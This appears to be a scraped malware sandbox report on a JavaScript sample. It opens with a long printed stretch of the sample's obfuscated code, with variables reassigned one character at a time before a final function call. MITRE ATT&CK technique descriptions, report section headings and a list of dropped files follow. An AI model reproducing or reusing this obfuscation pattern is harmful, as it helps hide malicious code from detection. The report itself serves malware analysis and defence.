621	iiqjlohww = "p";
622	iiqjlohww = "R";
623	iiqjlohww = "M";
624	iiqjlohww = "D";
625	iiqjlohww = "n";
626	iiqjlohww = "R";
627	iiqjlohww = "A";
628	iiqjlohww = "\\";
629	hcjyrida = "Q";
630	hcjyrida = "k";
631	hcjyrida = "B";
632	hcjyrida = "Q";
633	hcjyrida = "B";
634	hcjyrida = "F";
635	hcjyrida = "i";
636	hcjyrida = "a";
637	hcjyrida = "J";
638	hcjyrida = "W";
639	hcjyrida = "W";
640	hcjyrida = "H";
641	hcjyrida = "N";
642	lfssmhf = "m";
643	lfssmhf = "d";
644	lfssmhf = "t";
645	lfssmhf = "T";
646	zlmlx = "b";
647	zlmlx = "O";
648	zlmlx = "n";
649	zlmlx = "s";
650	zlmlx = "s";
651	zlmlx = "O";
652	zlmlx = "m";
653	zlmlx = "E";
654	zlmlx = "l";
655	zlmlx = "I";
656	zlmlx = "s";
657	zlmlx = "c";
658	zlmlx = "W";
659	zlmlx = "G";
660	zlmlx = "m";
661	zlmlx = "J";
662	zlmlx = "d";
663	zlmlx = "m";
664	zlmlx = "G";
665	zlmlx = "z";
666	zlmlx = "p";
667	zlmlx = "d";
668	zlmlx = "i";
669	zlmlx = "c";
670	zlmlx = "Y";
671	zlmlx = "W";
672	zlmlx = "4";
673	vbqqohr = "Z";
674	vbqqohr = "X";
675	vbqqohr = "E";
676	vbqqohr = "T";
677	vbqqohr = "E";
678	vbqqohr = "m";
679	vbqqohr = "h";
680	vbqqohr = "X";
681	vbqqohr = "Q";
682	vbqqohr = "j";
683	vbqqohr = "s";
684	vbqqohr = "S";
685	vbqqohr = "u";
686	vbqqohr = "L";
687	vbqqohr = "R";
688	vbqqohr = "h";
689	vbqqohr = "q";
690	vbqqohr = "e";
691	vbqqohr = "o";
692	vbqqohr = "B";
693	vbqqohr = "G";
694	vbqqohr = "s";
695	vbqqohr = "f";
696	vbqqohr = "X";
697	vbqqohr = "H";
698	vbqqohr = "Q";
699	vbqqohr = "Z";
700	vbqqohr = "l";
701	vbqqohr = "h";
702	vbqqohr = "h";
703	driqbemw = "D";
704	driqbemw = "d";
705	driqbemw = "W";
706	driqbemw = "K";
707	driqbemw = "D";
708	driqbemw = "T";
709	driqbemw = "d";
710	driqbemw = "t";
711	driqbemw = "Q";
712	driqbemw = "k";
713	driqbemw = "J";
714	driqbemw = "a";
715	driqbemw = "W";
716	driqbemw = "t";
717	driqbemw = "J";
718	driqbemw = "U";
719	driqbemw = "D";
720	driqbemw = "C";
721	driqbemw = "S";
722	driqbemw = "q";
723	driqbemw = "m";
724	driqbemw = "U";
725	driqbemw = "h";
726	driqbemw = "Y";
727	driqbemw = "J";
728	driqbemw = "z";
729	driqbemw = "G";
730	driqbemw = "s";
731	driqbemw = "P";
732	driqbemw = "g";
733	driqbemw = "a";
734	driqbemw = "Y";
735	driqbemw = "R";
736	driqbemw = "I";
737	driqbemw = "K";
738	driqbemw = "V";
739	driqbemw = "t";
740	driqbemw = "u";
741	driqbemw = "n";
742	ezkdakip = "R";
743	ezkdakip = "h";
744	ezkdakip = "f";
745	ezkdakip = "h";
746	ezkdakip = "R";
747	ezkdakip = "o";
748	ezkdakip = "M";
749	ezkdakip = "a";
750	ezkdakip = "s";
751	ezkdakip = "S";
752	ezkdakip = "Y";
753	ezkdakip = "Z";
754	ezkdakip = "p";
755	ezkdakip = "j";
756	ezkdakip = "Q";
757	ezkdakip = "t";
758	ezkdakip = "u";
759	ufiar = "y";
760	ufiar = "a";
761	ufiar = "m";
762	ufiar = "b";
763	ufiar = "u";
764	ufiar = "k";
765	ufiar = "l";
766	ufiar = "g";
767	ufiar = "b";
768	ufiar = "D";
769	ufiar = "M";
770	ufiar = "G";
771	ufiar = "g";
772	ufiar = "D";
773	ufiar = "C";
774	ufiar = "p";
775	ufiar = "Q";
776	ufiar = "V";
777	ufiar = "A";
778	ufiar = "P";
779	ufiar = "x";
780	ufiar = "r";
781	ufiar = "e";
782	ufiar = "z";
783	ufiar = "p";
784	ufiar = "A";
785	ufiar = "/";
786	mxqdqewo = "A";
787	mxqdqewo = "S";
788	mxqdqewo = "g";
789	mxqdqewo = "a";
790	mxqdqewo = "O";
791	mxqdqewo = "K";
792	mxqdqewo = "y";
793	mxqdqewo = "q";
794	mxqdqewo = "t";
795	mxqdqewo = "p";
796	mxqdqewo = "x";
797	mxqdqewo = ".";
798	gvbyr = "Y";
799	gvbyr = "K";
800	wojdz = "B";
801	wojdz = "j";
802	wojdz = "L";
803	wojdz = "f";
804	wojdz = "g";
805	wojdz = "e";
806	wojdz = "c";
807	wojdz = "w";
808	wojdz = "f";
809	wojdz = "D";
810	wojdz = "K";
811	wojdz = "G";
812	wojdz = "q";
813	wojdz = "g";
814	wojdz = "W";
815	wojdz = "g";
816	wojdz = "I";
817	wojdz = "j";
818	wojdz = "m";
819	wojdz = "z";
820	wojdz = "c";
821	wojdz = "y";
822	wojdz = "f";
823	wojdz = "i";
824	wojdz = "R";
825	wojdz = "d";
826	wojdz = "O";
827	wojdz = "o";
828	wojdz = "N";
829	wojdz = "I";
830	owiacej = "n";
831	owiacej = "T";
832	owiacej = "R";
833	owiacej = "j";
834	owiacej = "R";
835	owiacej = "E";
836	owiacej = "i";
837	owiacej = "o";
838	owiacej = "I";
839	owiacej = "z";
840	owiacej = "y";
841	owiacej = "I";
842	owiacej = "K";
843	owiacej = "I";
844	owiacej = "I";
845	owiacej = "M";
846	owiacej = "g";
847	owiacej = "k";
848	owiacej = "N";
849	owiacej = "t";
850	owiacej = "t";
851	owiacej = "p";
852	owiacej = "r";
853	owiacej = "X";
854	owiacej = "r";
855	owiacej = "g";
856	owiacej = "l";
857	owiacej = "K";
858	owiacej = "V";
859	owiacej = "q";
860	owiacej = "J";
861	owiacej = "x";
862	olliy = "g";
863	olliy = "C";
864	olliy = "Z";
865	olliy = "z";
866	olliy = "l";
867	olliy = "o";
868	olliy = "h";
869	olliy = "M";
870	olliy = "O";
871	olliy = "K";
872	olliy = "s";
873	olliy = "p";
874	olliy = "V";
875	olliy = "V";
876	olliy = "H";
877	olliy = "R";
878	olliy = "a";
879	olliy = "n";
880	olliy = "c";
881	olliy = "H";
882	olliy = "w";
883	olliy = "x";
884	olliy = "y";
885	olliy = "G";
886	olliy = "G";
887	olliy = "Z";
888	olliy = "i";
889	olliy = "x";
890	olliy = "k";
891	olliy = "L";
892	olliy = "d";
893	olliy = "d";
894	olliy = "t";
895	olliy = "b";
896	olliy = "c";
897	olliy = "j";
898	olliy = "M";
899	olliy = "t";
900	olliy = "i";
901	olliy = "z";
902	olliy = "Q";
903	olliy = "n";
904	olliy = "U";
905	olliy = "i";
906	olliy = "C";
907	gozvtk = "m";
908	gozvtk = "g";
909	gozvtk = "L";
910	gozvtk = "C";
911	gozvtk = "i";
912	gozvtk = "c";
913	gozvtk = "P";
914	gozvtk = "b";
915	gozvtk = "f";
916	gozvtk = "z";
917	gozvtk = "i";
918	gozvtk = "L";
919	gozvtk = "Q";
920	gozvtk = "Y";
921	gozvtk = "F";
922	gozvtk = "o";
923	gozvtk = "O";
924	gozvtk = "P";
925	gozvtk = "o";
926	gozvtk = "@";
927	vievxnlpu = "M";
928	vievxnlpu = "n";
929	vievxnlpu = "l";
930	vievxnlpu = "S";
931	vievxnlpu = "G";
932	vievxnlpu = "y";
933	vievxnlpu = "w";
934	vievxnlpu = "M";
935	vievxnlpu = "r";
936	vievxnlpu = "x";
937	vievxnlpu = "V";
938	vievxnlpu = "Z";
939	vievxnlpu = "b";
940	vievxnlpu = "L";
941	qbnxuw = "Z";
942	qbnxuw = "h";
943	qbnxuw = "j";
944	qbnxuw = "T";
945	qbnxuw = "D";
946	qbnxuw = "e";
947	qbnxuw = "j";
948	qbnxuw = "Y";
949	qbnxuw = "h";
950	qbnxuw = "Z";
951	qbnxuw = "L";
952	qbnxuw = "J";
953	qbnxuw = "R";
954	qbnxuw = "r";
955	qbnxuw = "Q";
956	qbnxuw = "S";
957	qbnxuw = "e";
958	qbnxuw = "c";
959	qbnxuw = "j";
960	qbnxuw = "l";
961	qbnxuw = "u";
962	qbnxuw = "G";
963	qbnxuw = "g";
964	qbnxuw = "E";
965	qbnxuw = "x";
966	qbnxuw = "z";
967	qbnxuw = "w";
968	qbnxuw = "M";
969	qbnxuw = "j";
970	qbnxuw = "i";
971	qbnxuw = "r";
972	qbnxuw = "i";
973	qbnxuw = "d";
974	qbnxuw = "W";
975	qbnxuw = "O";
976	qbnxuw = "E";
977	qbnxuw = "Z";
978	qbnxuw = "t";
979	qbnxuw = "C";
980	qbnxuw = "f";
981	qbnxuw = "Y";
982	qbnxuw = "t";
983	qbnxuw = "q";
984	qbnxuw = "p";
985	axumm = "u";
986	axumm = "C";
987	axumm = "x";
988	axumm = "o";
989	axumm = "A";
990	axumm = "Y";
991	axumm = "G";
992	axumm = "f";
993	axumm = "z";
994	axumm = "I";
995	axumm = "s";
996	axumm = "q";
997	axumm = "j";
998	axumm = "d";
999	axumm = "F";
1000	axumm = "t";
1001	axumm = "D";
1002	axumm = "O";
1003	axumm = "E";
1004	axumm = "n";
1005	axumm = "A";
1006	axumm = "t";
1007	axumm = "U";
1008	axumm = "o";
1009	axumm = "s";
1010	axumm = "P";
1011	axumm = "D";
1012	axumm = "J";
1013	axumm = "M";
1014	axumm = "M";
1015	axumm = "z";
1016	axumm = "t";
1017	axumm = "T";
1018	axumm = "p";
1019	axumm = "Y";
1020	axumm = "W";
1021	axumm = "p";
1022	axumm = "Z";
1023	axumm = "K";
1024	axumm = "H";
1025	axumm = "E";
1026	axumm = "k";
1027	axumm = "s";
1028	axumm = "S";
1029	igljnkahv = "L";
1030	igljnkahv = "y";
1031	igljnkahv = "C";
1032	igljnkahv = "K";
1033	igljnkahv = "d";
1034	igljnkahv = "J";
1035	igljnkahv = "b";
1036	igljnkahv = "i";
1037	igljnkahv = "T";
1038	igljnkahv = "n";
1039	igljnkahv = "v";
1040	igljnkahv = "I";
1041	igljnkahv = "x";
1042	igljnkahv = "t";
1043	igljnkahv = "u";
1044	igljnkahv = "Y";
1045	igljnkahv = "g";
1046	igljnkahv = "c";
1047	nezvyg = "T";
1048	nezvyg = "U";
1049	nezvyg = "S";
1050	nezvyg = "n";
1051	nezvyg = "y";
1052	nezvyg = "t";
1053	nezvyg = "8";
1054	ejuyh = "S";
1055	ejuyh = "g";
1056	ejuyh = "d";
1057	jcesrzjje = "R";
1058	jcesrzjje = "E";
1059	jcesrzjje = "M";
1060	jcesrzjje = "d";
1061	jcesrzjje = "D";
1062	jcesrzjje = "s";
1063	jcesrzjje = "G";
1064	jcesrzjje = "n";
1065	jcesrzjje = "t";
1066	jcesrzjje = "P";
1067	jcesrzjje = "v";
1068	jcesrzjje = "Y";
1069	jcesrzjje = "O";
1070	jcesrzjje = "C";
1071	jcesrzjje = "f";
1072	jcesrzjje = "y";
1073	jcesrzjje = "i";
1074	jcesrzjje = "U";
1075	jcesrzjje = "s";
1076	jcesrzjje = "g";
1077	jcesrzjje = "p";
1078	jcesrzjje = "h";
1079	jcesrzjje = "s";
1080	jcesrzjje = "a";
1081	jcesrzjje = "m";
1082	jcesrzjje = "V";
1083	jcesrzjje = "l";
1084	jcesrzjje = "M";
1085	jcesrzjje = "A";
1086	jcesrzjje = "i";
1087	jcesrzjje = "P";
1088	jcesrzjje = "o";
1089	jcesrzjje = "v";
1090	jcesrzjje = "%";
1091	rdtzwm = "Q";
1092	rdtzwm = "H";
1093	rdtzwm = "P";
1094	rdtzwm = "M";
1095	rdtzwm = "h";
1096	rdtzwm = "Y";
1097	rdtzwm = "Q";
1098	rdtzwm = "q";
1099	rdtzwm = "f";
1100	rdtzwm = "u";
1101	rdtzwm = "K";
1102	rdtzwm = "A";
1103	rdtzwm = "H";
1104	rdtzwm = "T";
1105	rdtzwm = "t";
1106	rdtzwm = "z";
1107	rdtzwm = "A";
1108	rdtzwm = "A";
1109	rdtzwm = "U";
1110	rdtzwm = "p";
1111	rdtzwm = "f";
1112	rdtzwm = "H";
1113	rdtzwm = "l";
1114	rdtzwm = "m";
1115	rdtzwm = "T";
1116	rdtzwm = "T";
1117	rdtzwm = "Z";
1118	rdtzwm = "N";
1119	rdtzwm = "h";
1120	rdtzwm = "z";
1121	rdtzwm = "D";
1122	rdtzwm = "Z";
1123	rdtzwm = "R";
1124	hvskqtjf = "Y";
1125	hvskqtjf = "b";
1126	hvskqtjf = "e";
1127	hvskqtjf = "U";
1128	hvskqtjf = "N";
1129	hvskqtjf = "S";
1130	hvskqtjf = "u";
1131	hvskqtjf = "n";
1132	hvskqtjf = "r";
1133	hvskqtjf = "n";
1134	hvskqtjf = "r";
1135	hvskqtjf = "I";
1136	hvskqtjf = "o";
1137	hvskqtjf = "N";
1138	hvskqtjf = "Y";
1139	hvskqtjf = "y";
1140	hvskqtjf = "U";
1141	hvskqtjf = "H";
1142	hvskqtjf = "b";
1143	hvskqtjf = "F";
1144	hvskqtjf = "c";
1145	hvskqtjf = "y";
1146	hvskqtjf = "g";
1147	hvskqtjf = "h";
1148	hvskqtjf = "R";
1149	hvskqtjf = "Y";
1150	hvskqtjf = "U";
1151	hvskqtjf = "J";
1152	hvskqtjf = "o";
1153	hvskqtjf = "I";
1154	hvskqtjf = "q";
1155	hvskqtjf = "r";
1156	hvskqtjf = "S";
1157	hvskqtjf = "e";
1158	hvskqtjf = "U";
1159	hvskqtjf = "F";
1160	vvakhhguv = "R";
1161	vvakhhguv = "M";
1162	vvakhhguv = "F";
1163	vvakhhguv = "V";
1164	vvakhhguv = "M";
1165	vvakhhguv = "L";
1166	vvakhhguv = "j";
1167	vvakhhguv = "L";
1168	vvakhhguv = "x";
1169	vvakhhguv = "L";
1170	vvakhhguv = "M";
1171	vvakhhguv = "p";
1172	vvakhhguv = "Q";
1173	vvakhhguv = "u";
1174	vvakhhguv = "H";
1175	vvakhhguv = "Z";
1176	vvakhhguv = "Q";
1177	vvakhhguv = "q";
1178	vvakhhguv = "t";
1179	vvakhhguv = "i";
1180	vvakhhguv = "a";
1181	segqmby = "k";
1182	segqmby = "w";
1183	segqmby = "o";
1184	segqmby = "q";
1185	segqmby = "M";
1186	segqmby = "J";
1187	segqmby = "O";
1188	segqmby = "H";
1189	hfmazqsz = "M";
1190	hfmazqsz = "B";
1191	hfmazqsz = "W";
1192	hfmazqsz = "U";
1193	hfmazqsz = "X";
1194	hfmazqsz = "f";
1195	hfmazqsz = "u";
1196	hfmazqsz = "D";
1197	hfmazqsz = "f";
1198	hfmazqsz = "x";
1199	hfmazqsz = "h";
1200	hfmazqsz = "K";
1201	hfmazqsz = "X";
1202	hfmazqsz = "h";
1203	hfmazqsz = "\"";
1204	whrgzsdde = "U";
1205	whrgzsdde = "Y";
1206	whrgzsdde = "a";
1207	whrgzsdde = "h";
1208	whrgzsdde = "W";
1209	whrgzsdde = "c";
1210	whrgzsdde = "g";
1211	whrgzsdde = "N";
1212	whrgzsdde = "u";
1213	whrgzsdde = "p";
1214	whrgzsdde = "X";
1215	whrgzsdde = "X";
1216	whrgzsdde = "S";
1217	whrgzsdde = "C";
1218	whrgzsdde = "v";
1219	whrgzsdde = "x";
1220	whrgzsdde = "G";
1221	whrgzsdde = "J";
1222	whrgzsdde = "C";
1223	whrgzsdde = "W";
1224	whrgzsdde = "Z";
1225	whrgzsdde = "H";
1226	whrgzsdde = "g";
1227	whrgzsdde = "p";
1228	whrgzsdde = "h";
1229	whrgzsdde = "o";
1230	bidro = "N";
1231	bidro = "D";
1232	bidro = "X";
1233	bidro = "U";
1234	bidro = "c";
1235	bidro = "x";
1236	bidro = "G";
1237	bidro = "p";
1238	bidro = "I";
1239	bidro = "M";
1240	bidro = "U";
1241	bidro = "R";
1242	bidro = "A";
1243	bidro = "J";
1244	bidro = "m";
1245	bidro = "N";
1246	bidro = "X";
1247	bidro = "J";
1248	bidro = "e";
1249	bidro = "b";
1250	bidro = "v";
1251	jxgiscejx = "U";
1252	jxgiscejx = "u";
1253	jxgiscejx = "w";
1254	jxgiscejx = "t";
1255	jxgiscejx = "J";
1256	jxgiscejx = "t";
1257	jxgiscejx = "C";
1258	jxgiscejx = "b";
1259	jxgiscejx = "N";
1260	jxgiscejx = "B";
1261	jxgiscejx = "X";
1262	jxgiscejx = "E";
1263	jxgiscejx = "b";
1264	jxgiscejx = "M";
1265	jxgiscejx = "w";
1266	jxgiscejx = "t";
1267	jxgiscejx = "S";
1268	jxgiscejx = "B";
1269	jxgiscejx = "y";
1270	jxgiscejx = "k";
1271	jxgiscejx = "l";
1272	jxgiscejx = "V";
1273	jxgiscejx = "P";
1274	jxgiscejx = "z";
1275	jxgiscejx = "z";
1276	jxgiscejx = "a";
1277	jxgiscejx = "W";
1278	egvpnfzvy = "R";
1279	egvpnfzvy = "e";
1280	egvpnfzvy = "x";
1281	egvpnfzvy = "d";
1282	egvpnfzvy = "u";
1283	egvpnfzvy = "N";
1284	egvpnfzvy = "Y";
1285	egvpnfzvy = "W";
1286	egvpnfzvy = "E";
1287	egvpnfzvy = "e";
1288	egvpnfzvy = "D";
1289	egvpnfzvy = "n";
1290	egvpnfzvy = "o";
1291	egvpnfzvy = "C";
1292	egvpnfzvy = "a";
1293	egvpnfzvy = "F";
1294	egvpnfzvy = "r";
1295	egvpnfzvy = "X";
1296	egvpnfzvy = "Q";
1297	egvpnfzvy = "i";
1298	egvpnfzvy = "X";
1299	egvpnfzvy = "c";
1300	egvpnfzvy = "V";
1301	egvpnfzvy = "n";
1302	egvpnfzvy = "j";
1303	egvpnfzvy = "D";
1304	egvpnfzvy = "e";
1305	egvpnfzvy = "N";
1306	egvpnfzvy = "m";
1307	avsnh = "E";
1308	avsnh = "X";
1309	avsnh = "e";
1310	avsnh = "u";
1311	avsnh = "W";
1312	avsnh = "e";
1313	avsnh = "m";
1314	avsnh = "o";
1315	avsnh = "c";
1316	avsnh = "f";
1317	avsnh = "L";
1318	avsnh = "g";
1319	avsnh = "W";
1320	avsnh = "W";
1321	avsnh = "P";
1322	qkhise = "k";
1323	qkhise = "z";
1324	qkhise = "l";
1325	qkhise = "U";
1326	qkhise = "P";
1327	qkhise = "x";
1328	qkhise = "T";
1329	qkhise = "P";
1330	qkhise = "K";
1331	qkhise = "c";
1332	qkhise = "E";
1333	qkhise = "l";
1334	qkhise = "j";
1335	qkhise = "j";
1336	qkhise = "E";
1337	qkhise = "s";
1338	qkhise = "P";
1339	qkhise = "r";
1340	qkhise = "h";
1341	qkhise = "O";
1342	qkhise = "A";
1343	qkhise = "l";
1344	qkhise = "Q";
1345	qkhise = "y";
1346	qkhise = "j";
1347	qkhise = "b";
1348	qkhise = "F";
1349	qkhise = "G";
1350	qkhise = "V";
1351	qkhise = "S";
1352	qkhise = "R";
1353	qkhise = "J";
1354	qkhise = "V";
1355	qkhise = "B";
1356	qkhise = "Y";
1357	qkhise = "L";
1358	qkhise = "e";
1359	qkhise = "S";
1360	qkhise = "L";
1361	qkhise = "f";
1362	ytleuo = "y";
1363	ytleuo = "R";
1364	ytleuo = "s";
1365	ytleuo = "R";
1366	ytleuo = "B";
1367	ytleuo = " ";
1368	glgxvraio ( );	glgxvraio() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18620271451234622924.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

